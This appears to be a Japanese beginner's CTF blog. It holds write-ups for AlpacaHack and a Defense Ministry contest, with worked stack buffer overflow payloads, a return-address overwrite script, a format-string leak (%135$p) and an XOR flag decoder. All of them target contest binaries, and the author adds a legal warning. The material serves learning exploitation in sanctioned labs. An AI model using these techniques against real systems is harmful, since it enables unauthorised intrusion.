ほろろの日記

CTFのPwn/Rev初心者

【Pwn】Alpacahack simpleoverflow Writeup 【初心者向け】

Alpacahack という常設型CTFサイトのPwnカテゴリのWrite upです!

AIに頼ってたら破産する貧乏人なので、紙とペンを使いつつ自力で解いていきます。 世の中の脆弱性発見→修正はプロと金持ちに任せます。

簡単な問題ですが復習をかねて、ポイントを詳細に書いていこうと思います。 調査においてnmやobjdump、gdbを使いましたが長くなりすぎるので省略しています。 気が向いたら追記します。

simpleoverflow

問題文: Cでは、0がFalse、それ以外がTrueとして扱われます。

動作

プログラムを実行すると、"name: "というプロンプトが表示されます。 admin などの文字列を入力しても、 "Hello, ○○" "You are not admin. bye"と表示されてプログラムが終了します。

脆弱性

この問題にはsimpleoverflowという名前の通り、スタックベースのバッファオーバーフロー脆弱性があります。

ELFバイナリ(chall)と一緒に配布されている、ソースコード(src.c)を確認していきます。

作成したchar型配列" buf "のサイズが10(1*10バイト)であるのに対して、 標準入力から buf に書きこむ read 関数の第3引数を見ると 0x10、 10進数に直すと16(バイト)になっています。 確保したメモリ領域のサイズよりも大きいサイズの書き込みが行われるので、 バッファオーバーフローと言います。

攻撃の方針

ソースコードを確認すると、int型のis_adminというローカル変数がありデフォルト値は0です。 これは if 文の条件になっており、0以外にすることができれば、 flag.txtの中身が表示されます。 したがって、何とかしてis_adminを書き換えることでflagを手に入れることができます。

下の図は配列と変数の並びのイメージです。今回は一番上のように配列 buf とローカル変数 is_admin が隣り合って配置されます。真ん中は入力できるサイズを表し、一番下は10文字(たとえばAAAAAAAAAA)を入力したときの様子で、赤い部分は書き換わっている部分を表します。 bufは入力した10文字で埋まっていますが、なぜか is_adminも書き換わりました。これは入力後のエンターで改行を示す1バイト(0x0a)が入力されているからです。これによりis_adminは0ではなくなり、ソースコードで確認した通り、flag.txtの中身が出力されます。

攻撃

実際に攻撃してみます。 問題文の下方にある「Spawn Challenge Server」を押すと、 nc IPアドレス ポート番号 という情報がでます。

これは攻撃用サーバー上で動いているターゲットプログラム(先ほど調査したバイナリファイル chall )にアクセスするためのIPアドレスとポート番号です。

「10バイトの文字列+改行(0x0a)」をサーバーに送ることが出来れば、 ncでアクセスしても、Pythonのpwntoolsライブラリを使っても、何でもいいのですが今回はncコマンドでやってみます。

$cat | nc IPアドレス ポート番号 (IPアドレスとポート番号は毎回変わるので、「Spawn Challenge Server」を押したときに出た 情報を使いましょう。) 実行すると、 name : と出てくるので、10文字(AAAAAAAAAAなど)入力してエンターを押しましょう でてきたctf4b{ }がまるごとフラグです。

念のため注意書き(捕まらないために)

Pwnの簡単な問題で出るような脆弱性、攻撃は世界のほとんどのシステムで対策されてます。 AIも捕まる方法しか教えてくれないので、自分のPCとCTFのサーバー以外で試さないようにしましょう。 不正アクセスなどは法律で禁止されてます。

悪用するのは簡単なので、もっと難しい方に興味を持つことを願います。

【Pwn】防衛省サイバーコンテスト 2026 Writeup【3/5問のみ】

※1,2問目で力が尽きたのでいったん公開します。3問目の深層の証言については後日記載します。FSBがあるので%135$pで読み出してから整数にすればいいです。
→2/4 公開しました!solverはまだ上手く書けないので無し。

2/1 10:00~18:00で開催された防衛省サイバーコンテストに参加しました!

Pwnは以下5問が出題されましたが、うち3問が解けたので書いていきます。


・古き良き時代の響き
・崩れゆく防御
・深層の証言
↑ここまで解けた
・記憶の侵食
・木霊の防壁

古き良き時代の響き (10pt)

問題文によると特定の変数の値を0xdeadbeefに書き換えればいいとのことです。
配布ファイル:pwnhorn.zip

解法:書き換えればいいだけなので、0xdeadbeafを変換した\xaf\xbe\xad\xdを繰り返した文字列を入力する

やったこと
$file pwnhorn
pwnhorn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=33a1a649b78d017008878bb8e3abdb77e24e8741, for GNU/Linux 3.2.0, stripped

fileコマンドで確認すると32bitのELFバイナリでした。(特に意味は無い)

とりあえず実行すると、名前の入力が求められます。
名前をいれると挨拶はしてくれますが、フラグはくれません。
ちなみに%p を入れても、そのままHello, %p!と返ってくるため、
Format String Bugはありませんでした。

$./pwnhorn
=== PwnHorn CTF Challenge ===
Can you make the horn sound?

Hint: Overflow the buffer to overwrite local variables!
Target value: 0xdeadbeef

Welcome to PwnHorn Challenge!
Enter your name: AAAA
Hello, AAAA!
Unfortunately, you didn't win this time...

objdumpで逆アセンブルしていきます。

$objdump -M intel -d pwnhorn

(出力が長いので略)

Disassembly of section .text:

080491e0 <.text>:
 80491e0:	f3 0f 1e fb          	endbr32
 80491e4:	55                   	push   ebp

(略)

main関数がありませんでした。

$objdump -M intel -d pwnhorn | grep -A20 "main>: "
$

当然全部読むのは諦めました。
問題文に戻ると、ある変数を0xdeadbeafに書き換えればいいので、
0xdeadbeafでスタックを埋めていけばいい気がします。

$echo -ne '\xaf\xbe\xad\xdeを適当な長さ繰り返す' | ./pwnhorn
(略)
=== PwnHorn CTF Challenge ===
Can you make the horn sound?

Hint: Overflow the buffer to overwrite local variables!
Target value: 0xdeadbeef

Welcome to PwnHorn Challenge!
Enter your name: Hello, ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�!
Detected buffer overflow! local_var = 0xdeadbeef
Congratulations! You've pwned the horn!
Flag: FLAG_FILE_NOT_FOUND

ローカルのバイナリあてなので、FLAG_FILE_NOT_FOUNDになっています。
繰り返し回数は適当に500にしましたがとれました。17回でもとれます。

$python -c 'print(b"\xaf\xbe\xad\xde"*17)'
b'\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde\xef\xbe\xad\xde'

あとは解答サーバー当てに送ればOKです。

$(echo -ne '\xaf\xbe\xad\xdeを適当な長さ繰り返す' ;cat)| nc IPアドレス ポート

崩れゆく防御 (20pt)

高度なセキュリティシステムで保護されてる仮想金庫を解錠しろとのこと
配布ファイル: vault.zip 中身は同名のバイナリ

解法:バッファを0xc0ffee11で埋めた後、unlock_vault関数を呼び出すように、
return addressを書き換える

やったこと

とりあえず実行します。

$./vault
========================================
         SECURE VAULT SYSTEM          
========================================

Initializing security protocols...
Access code verification required.

Please enter your access code: %p.%p.%p

Access code received: %p.%p.%p
Verifying security protocols...

Access denied. Invalid credentials.
Vault remains locked.

Thank you for using Secure Vault System.

FSBはなしなので、スタックバッファオーバーフローを狙います。

$./vault
========================================
         SECURE VAULT SYSTEM          
========================================

Initializing security protocols...
Access code verification required.

Please enter your access code: AAABFFFAAACFFABAFFFBAAFFBBAABBFAABCFAACBFABBBABABFBABCBAACCFAFAFBFACAFABCCAAADFFACBBACABACFBACCBAFBB

Access code received: AAABFFFAAACFFABAFFFBAAFFBBAABBFAABCFAACBFABBBABABFBABCBAACCFAFAFBFACAFABCCAAADFFACBBACABACFBACCBAFBB
Verifying security protocols...

!!! SECURITY BREACH DETECTED !!!
Security protocol compromised. Initiating lockdown...

表示は変わりましたが残念ながらブロックされてしまいました。
何が起きたのかがわからないので逆アセンブルしていきます。
grepでmain部分だけ抜き出して表示します。(-Aの行数は適当)

$objdump -d -M intel vault | grep -A200 "<main>:"

verify_access関数を呼ぶだけのようなので、次は
verify_access関数を逆アセンブルしていきます。

$objdump -d -M intel vault | grep -A100 "<verify_access>:"

出力が長いので、ポイントを抜き出します。
・ローカル変数領域のサイズは0x150
・rbp-0x4のアドレスに0xc0ffee11が入っている
・fgetsでrbp-0x150から始まるバッファに入力できる
・cmp命令でrbp-0x4と0xc0ffee11を比較している

もしスタック上の0xc0ffee11を書き換えてしまうと、
!!! SECURITY BREACH DETECTED !!!が表示され終了します。
しかしrbp-0x4が0xc0ffee11のままであれば、return addressが書き換え放題です。

あとはどこへ飛ばすか考えます。
色々試行錯誤した結果 unlock_vaultという関数がありました。
(スマートな方法が思いつかなかったため目grep)

$objdump -d -M intel vault | grep ">:"

(略)
00000000004017e5 <unlock_vault>:
00000000004018a6 <verify_access>:
0000000000401a16 <main>:
(略)

unlock_vaultを逆アセンブルするとfopenが見つかるので、
return addressを00000000004018a6に変えればflagを出力してくれそうです。

書き換えに何文字必要かgdbで特定します

$gdb -q vault
(gdb) b *main
(gdb) b *verify_access 
(gdb) disas verify_access 
(略)
0x00000000004019c4 <+286>:	cmpl   $0xc0ffee11,-0x4(%rbp)
(略) 書き換え後に実行される命令にブレークポイント

(gdb) c
Continuing.
========================================
         SECURE VAULT SYSTEM          
========================================

Initializing security protocols...
Access code verification required.

Please enter your access code: (gdb) c
Continuing.
========================================
         SECURE VAULT SYSTEM          
========================================

Initializing security protocols...
Access code verification required.

Please enter your access code: AAABFFFAAACFFABAFFFBAAFFBBAABBFAABCFAACBFABBBABABFBABCBAACCFAFAFBFACAFABCCAAADFFACBBACABACFBACCBAFBBBBCAAFBCABBCFFFCAACDFAADBFADAFACCCAFFCBACDBAADCFAC

Access code received: AAABFFFAAACFFABAFFFBAAFFBBAABBFAABCFAACBFABBBABABFBABCBAACCFAFAFBFACAFABCCAAADFFACBBACABACFBACCBAFBBBBCAAFBCABBCFFFCAACDFAADBFADAFACCCAFFCBACDBAADCFAC

Verifying security protocols...
(gdb)info frame     (または i f)
Stack level 0, frame at 0x7fffffffdc00:
 rip = 0x4019c4 in verify_access; saved rip = 0x4243434142464341
 called by frame at 0x7fffffffdc08
 Arglist at 0x7fffffffdbf0, args: 
 Locals at 0x7fffffffdbf0, Previous frame's sp is 0x7fffffffdc00
 Saved registers:
  rbp at 0x7fffffffdbf0, rip at 0x7fffffffdbf8

最後のinfor frameの結果から return address = saved ripは0x4243434142464341
の位置に書き込めばいいことが分かります。
トルエンディアンなことに注意して、BCCABFCAの位置です。
ここを書き換えるために必要なサイズは88バイトです。
(自力で数えてもいいですが、pwntoolsには場所を特定するcyclic,cyclic_findがあるみたいです。
自分で De Bruijn sequenceから作っても良い)

以上から、攻撃文字列は以下のようになります。
0xc0ffee11を88バイト分(4バイトなので22個)+unlock_vault関数のアドレス

unblock_vaultのアドレスだと結果が分かりにくかったので、verify_accessのアドレスにして実行した結果が下です。
2回目の"SECURE VAULT SYSTEM "がでました。

$(python -c 'import sys;sys.stdout.buffer.write(b"\x11\xee\xff\xc0"*22+b"\xbc\x18@\x00\x0a")';cat)|./vault
========================================
         SECURE VAULT SYSTEM          
========================================

Initializing security protocols...
Access code verification required.

Please enter your access code: 
Access code received: �������������������������������������������������������������������@
Verifying security protocols...

Access denied. Invalid credentials.
Vault remains locked.
========================================
         SECURE VAULT SYSTEM          
========================================

Initializing security protocols...
Access code verification required.

Please enter your access code: 

Segmentation fault

あとはサーバーに攻撃してgetするだけです。

$(python -c 'import sys; sys.stdout.buffer.write(b"\x11\xee\xff\xc0"*22+b"\xe5\x17@\x00\x0a")' ; cat) | nc IPアドレス ポート

(略)
========================================
      VAULT UNLOCKED SUCCESSFULLY!     
========================================

Vault Contents:
flag{                              }

深層の証言 (20pt)

隠された秘密の値を探索し特定しろとのこと
配布ファイル:format.zip

解法: Format String Attack (書式指定文字列攻撃)でsecret valueを読み出して、
10進数の文字列にして入力する
FSAについては、英語ですがpicoCTFの「format string 1」で紹介されている下記のPDFが詳しいです。
https://lettieri.iet.unipi.it/hacking/format-strings.pdf

やったこと

ファイル名どおりformat string bugがあります。
実際%p.%p.%p.%p を入力してみます。
(数は適当。ドットは読みやすくするための区切り文字です。)

$./format
=== Secret Finder Challenge ===
Find the secret value hidden in memory!

Exploration: %p.%p.%p.%p
0x804a07f.0xf7ea5620.0x804935a.0x380

Enter the secret value (in decimal): 
Wrong.

結果4つ読み出せていることが分かります。さてここからが問題です。
the secret valueはどこにあるのでしょうか。
場所が分かってしまえば、%n$pでピンポイントで読み出すことができます。

アセンブルしていきます。

$objdump -d -M intel format

出力が長いのでポイントを書くと、
・rand関数が呼ばれており[ebp-0x1c]に乱数を入れています。
・途中[ebp-0x1c]の値と[ebp-0x220]の値を比較して、等しくなければexitのある処理へ、
 等しければprint_flag関数がある処理へ分岐しています
 [ebp-0x220]にはsscanfで読み込んだ値が入りますので、
 "Enter the secret value (in decimal): "のところです

つまり、[ebp-0x1c]の値を読み出して、10進数で渡せばflagをだしてくれるということです。

gdbでスタックの中身を見ながら、どのnを入れれば%n$pで読み出せるか検討します。

$gdb -q format
(gdb) set disassembly-flavor intel
(gdb) b *main
(gdb) disas main
(gdb) b *main+209
(gdb) r
(gdb) display/32wx $esp
(gdb) c
Continuing.
=== Secret Finder Challenge ===
Find the secret value hidden in memory!

Exploration: <strong>%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.</strong>

Breakpoint 3, 0x080493de in main ()
1: x/32xw $esp
0xffffcca0:	0xffffcdbc	0x0804a07f	0xf7f9d620	0x0804935a
0xffffccb0:	0x00000380	0x00000000	0x00000000	0x00000000
0xffffccc0:	0x00000380	0x00000380	0x0000000c	0x000000c3
0xffffccd0:	0x00000000	0x000000c5	0xffffcd3f	0xf7ffcff4
0xffffcce0:	0x00000000	0x00000000	0x00000000	0x00000001
0xffffccf0:	0xffffcd3f	0xffffcd3e	0x00000000	0x00000000
0xffffcd00:	0xffffffff	0x00000800	0x00000000	0x00000000
0xffffcd10:	0x00000001	0x00000000	0x00000000	0x00000001
(gdb) c
Continuing.
0x804a07f.0xf7f9d620.0x804935a.0x380.(nil).(nil).(nil).0x380.0x380.0xc.0xc3.

Enter the secret value (in decimal):

printf関数実行時のスタックの様子が知りたいのでmain+209ブレークポイントを設定してます。
(適当なところに設定したらスタックが変わり計算がずれました.....)
display/32wx $espでスタックのトップから4バイトずつ32個出力してます。
%pを入力後のprintfの実行時のスタックの様子と出力結果が出ました。
$espは%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.自身が入っており、
$esp+4から順に%pで読み出している事がわかります。

実際、x/sで確認することができます。

(gdb) x/s 0xffffcdbc
0xffffcdbc:	"%p.%p.%p.%p.%p.%p.%p.%p.%p"

%1$pで$esp+4の値を、%2$pで$esp+4nの値を読み出しているため、
%n$pの時は$esp+4nの値を読み出します。

あとは読み出したい ebp-0x1cをespからの距離に変換すればいいので
ebp-0x1c = esp+4n
でnについて計算すればいいです。
アドレスについては、gdbで確認します。

(gdb) x/wx $ebp-0x1c
0xffffcebc:	0x083ea427

または
(gdb) print $ebp-0x1c
$1 = (void *) 0xffffcebc

(gdb) i r $esp
esp            0xffffcca0          0xffffcca0

ebp-0x1cは0xffffcebc 、espは0xffffcca0なので
4n = 540
n = 135
となりました。
1個目の入力に%135$pを入れれば取得ができます。

あとは読み込んだ値を10進数の数値でなく、文字列にして渡します。
例)0x5344513e を読み出したら、"1396986174"を渡す。

b'=== Secret Finder Challenge ==='
b'\nFind the secret value hidden i'
b'n memory!\n'
b'\n'
b'\nEnter the secret value (in decimal)'
s=b'Exploration: 0x5344513e\n'
1396986174
b'1396986174'
b': Correct!\n'
b'flag{dummy!}\n'


※読みだした後の変換について
綺麗なsolverが書けてないので全体は公開はしませんが、
変換部分の流れだけ少し書いておきます。

  1. パイプの出力から%135$pの出力から16進数の値を読み取る
  2. int関数で10進数にする
  3. str関数でそのまま文字列にする
  4. .encode()でバイトにする
  5. パイプの入力に書き込む
s = p.stdout.readline()
t = p.stdout.read(len("Enter the secret value (in decimal):"))

secret = str(s)[15:25]

p.stdin.write(str(int(secret,0)).encode()+b"\x0a")
p.stdin.flush()

popenでパイプpを作っておきます。
s = p.stdout.readline()
でb'Exploration: 0x5344513e\n' (1個目の入力プロンプトと%135$pを展開した結果)を読み取ります。
secret = str(s)[15:25]
で'0x5344513e'を取り出します。
欲しいのは10進数なのでint関数で1396986174に変換していきます。

int(secret, 0) 0xから始まるので、第2引数に0をつけて10進数にします。
strで文字列"1396986174"に変換して、.encode()でバイト列 b'1396986174'に変えます。
str(int(secret,0)).encode()

あとはパイプを通じてncに流し込めばOKです。

b'=== Secret Finder Challenge ==='
b'\nFind the secret value hidden i'
b'n memory!\n'
b'\n'
b'\nEnter the secret value (in decimal)'
s=b'Exploration: 0x5344513e\n'
b'1396986174'
b': Correct!\n'
b'flag{_____________}\n'

AlpacaHack "Leaked Flag Checker" Writeup

何とか自力で解けたので、2026年初Writeupを書いていきます。

tarファイルをダウンロードして適当に展開すると、
ソースコードとバイナリが入っています。

ソースコード

challenge.c

// gcc -o challenge challenge.c
#include <stdio.h>
#include <string.h>

int main(void) {
char input[32];
const char xor_flag[] = "REDACTED";
size_t flag_len = strlen(xor_flag);

printf("Enter flag: ");
fflush(stdout);
scanf("%31s", input);

if(strlen(input) != flag_len) {
printf("Wrong length\n");
return 1;
}
for(size_t i = 0; i < flag_len; i++) {
if((input[i] ^ 7) != xor_flag[i]) {
printf("Wrong at index %zu\n", i);
return 1;
}
}
printf("Correct\n");
return 0;
}

気になる点を見ていきます。

xor_flagという変数があり"REDACTED"と書かれています。
REDUCTEDの意味を調べなかったがためにかなり時間を無駄にしました。
ソースコードからflagを削除してますよということのようです。

最初のif文では入力した文字列の長さとフラグの長さを比較し、一致していない場合は
"Wrong length"を表示して終了します。

for文では入力文字と7との排他的論理和をxor_flagと比較して、間違っていれば"Wrong length"
を表示して終了します。

大まかな処理の流れは分かったので、バイナリを見ていきます。

・バイナリ

とりあえず何も考えずに逆アセンブルしていきます。

objdump -d -M intel challenge

長すぎて絶望しましたが、順番に読んでいくと スタックの
[rbp-0x3e]に0x6b7c666466776b46
[rbp-0x38]に0x7a7e6c64726b7cが入ることがわかります。
文字列っぽい感じがするので、1バイトずつ文字列に変換すると
k|fdfwkFz~ldrk|になりました。
いったん置いておきます。
次に[rbp-0x48]に0xd つまり13が入っています。flag_lenですね。
実際バイナリを実行して、Aを13文字入れてみると"Wrong Length"は出ませんでした。

GDBで動的解析

GDBで処理を追っていきます。scanfの後あたりにブレークポイントを設定して、
niで命令を一個ずつ追っていきました。

(gdb)disas main
(gdb)ni

disas mainとniを使って実行されるアセンブリと比較しながら、レジスタの中身やスタックを見ていきます。<+175>~の部分で、[rbp-0x30]の値と0x7でxor をとっています。この[rbp-0x30]にはscanfで入力した文字列が入っています。
実際以下のコマンドを入れると自分の入力した文字列を見ることができます。

(gdb)x/s $rbp-0x30
または
(gdb)display/s $rbp-0x30

xor命令以降の処理を見ていくと
cmp命令で [rbp-0x3e]の値と [rbp-0x30]の値を比較していることが分かります。
(cmp cl. al などで1バイト)

if文の条件式の

(input[i] ^ 7) != xor_flag[i]

の部分ですね。[rbp-0x30]はinputが入っていたので、[rbp-0x3e]がxor_flagが入っているアドレスです。
xコマンドで確認すると、

(gdb)x/s $rbp-0x3e
または
(gdb)display/s $rbp-0x3e

xor_flagが"Fkwfdf|krdl~z"であることが分かります。
(最初のほうで見つけてました......)

結局、inputの排他的論理和をとっていったものが、"Fkwfdf|krdl~z"と一致すればいいことが分かりました。

xorを二回行うと元に戻るため、入力すべきinputのi番目input[i]は、
(input[i]^0x7) ^0x7 = inpu[i] = xor_flag[i]^0x7
から、xor_flag[i]と7との排他的論理和です。

あとはPythonで変換していきます。まだ便利ツールたちの使い方を覚えていないので、
実直に書いていきます。

flag = ""
s = "Fkwfdf|krdl~z"
for c in s:
    flag+=chr(ord(c)^7)
print(flag)

これでフラグが出てきたので送って終わりです。

main関数のプロローグと逆アセンブル

簡単なプログラムで逆アセンブルの練習をする



ソースコード

int main(){
    return 0;
}

何もオプションをつけずにコンパイル
最適化とか、セキュリティ機能が付くが気にしないでおく

gcc a.c

objdumpでintel記法で逆アセンブル

objdump -M intel -d a.out

main: の部分を見ると、

push rbp
mov eax,0x0
pop rbp
ret

となっている

関数のプロローグについて #C - Qiita

push rbpでスタックのベースポインタの中身を保存している。
今回ローカル変数を定義していないので、subはでてこない。



pop rbpでスタックをmain関数の呼び出し前に戻す。
return の戻り値をeaxに入れる。
retでスタックの戻りアドレスへ処理を戻す。

picoCTFをやりはじめました

picoGymのLow Level Binary IntroをBuffer Overflow 0まで解き終わったので、今後のため一部解き方をメモっておこうと思います。

 

以下、解き方のメモ

pythonのeval関数があった場合、 eval(globals()[関数名]())で実行させられる。関数名は1文字ずつ+で結合してもいい ex) 'm'+'a'+'i'+'n'

evalに#を入れるとコメントアウトもできる

 

・global文で関数名を書き換えられる

  ex) global 既存の関数; 既存の関数 = 新しい関数

  新しい関数はlamda s:Trueでもいい。if分の条件を書き換えてバイパスできる

PicoCTF - Picker (I, II, III) CTF Writeup | by AdvDebug | Medium

【Python関数応用】条件によって呼び出す関数を変える処理 - 【ゼロ→イチ】プログラミング情報サイト

 

ソースコード上でbuf[16]となっていても、バイナリを逆アセンブルすると20バイト確保されることがある。

picoGymのbuffer overflow 0を解いてみた #Security - Qiita

→理由は気になるのでそのうち確認したい